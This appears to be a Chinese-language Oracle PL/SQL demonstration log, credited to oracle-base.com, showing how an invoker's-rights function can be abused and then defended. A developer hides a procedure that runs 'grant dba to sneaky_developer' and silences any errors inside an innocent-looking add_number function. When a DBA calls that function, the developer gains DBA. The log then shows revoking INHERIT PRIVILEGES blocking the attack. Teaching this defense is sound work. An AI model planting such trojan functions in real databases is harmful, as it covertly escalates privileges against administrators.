-- 1,环境创建
SQL> create user sneaky_developer identified by 123;
用户已创建。
SQL> grant create session,create procedure to sneaky_developer;
授权成功。
SQL> create user normal_user identified by 123;
用户已创建。
SQL> grant create session to normal_user;
授权成功。
SQL> create user dba_user identified by 123;
用户已创建。
SQL> grant create session,dba to dba_user;
授权成功。
SQL> conn sneaky_developer/123@pdb1
已连接。
SQL> create or replace function add_number(p1 in number,p2 in number)
2 return number authid current_user
3 as
4 begin
5 return (p1+p2);
6 end;
7 /
函数已创建。
SQL> grant execute on add_number to public;
授权成功。
-- 2,第一次测试
SQL> conn normal_user/123@pdb1;
已连接。
SQL> select sneaky_developer.add_number(1.1,2.2) from dual;
SNEAKY_DEVELOPER.ADD_NUMBER(1.1,2.2)
------------------------------------
3.3
SQL> conn dba_user/123@pdb1
已连接。
SQL> select sneaky_developer.add_number(1.1,2.2) from dual;
SNEAKY_DEVELOPER.ADD_NUMBER(1.1,2.2)
------------------------------------
3.3
SQL> SELECT grantee
2 FROM dba_role_privs
3 WHERE granted_role = 'DBA'
4 ORDER BY grantee;
GRANTEE
--------------------------------------------------------------------------------
DBA_USER
SYS
SYSTEM
-- 修改函数
SQL> conn sneaky_developer/123@pdb1;
已连接。
SQL> create or replace procedure make_me_a_dba authid current_user as
2 pragma autonomous_transaction;
3 begin
4 execute immediate 'grant dba to sneaky_developer';
5 exception
6 when others then
7 null;
8 end;
9 /
过程已创建。
SQL> create or replace function add_number(p1 in number,p2 in number)
2 return number authid current_user
3 as
4 begin
5 make_me_a_dba;
6 return (p1+p2);
7 end;
8 /
函数已创建。
-- 再次测试
SQL> conn normal_user/123@pdb1
已连接。
SQL> select sneaky_developer.add_number(1.1,2.2) from dual;
SNEAKY_DEVELOPER.ADD_NUMBER(1.1,2.2)
------------------------------------
3.3
SQL> conn dba_user/123@pdb1
已连接。
SQL> select sneaky_developer.add_number(1.1,2.2) from dual;
SNEAKY_DEVELOPER.ADD_NUMBER(1.1,2.2)
------------------------------------
3.3
SQL> select grantee from dba_role_privs where granted_role='DBA';
GRANTEE
--------------------------------------------------------------------------------
DBA_USER
SNEAKY_DEVELOPER
SYSTEM
SYS
SQL> revoke dba from sneaky_developer;
撤销成功。
SQL> select grantee from dba_role_privs where granted_role='DBA';
GRANTEE
--------------------------------------------------------------------------------
DBA_USER
SYSTEM
SYS
-- 撤销权限,第三次测试
SQL> conn sys@pdb1 as sysdba
输入口令:
已连接。
SQL> revoke inherit privileges on user dba_user from public;
撤销成功。
SQL> conn dba_user/123@pdb1
已连接。
SQL> select grantee from dba_role_privs where granted_role='DBA';
GRANTEE
--------------------------------------------------------------------------------
DBA_USER
SYSTEM
SYS
SQL> select sneaky_developer.add_number(1.1,2.2) from dual;
select sneaky_developer.add_number(1.1,2.2) from dual
*
第 1 行出现错误:
ORA-06598: INHERIT PRIVILEGES 权限不足
ORA-06512: 在 "SNEAKY_DEVELOPER.ADD_NUMBER", line 1
SQL> select grantee from dba_role_privs where granted_role='DBA';
GRANTEE
--------------------------------------------------------------------------------
DBA_USER
SYSTEM
SYS
-- 文章参考来源:https://oracle-base.com
在plsql中控制调用者权限
最新推荐文章于 2021-10-12 01:09:54 发布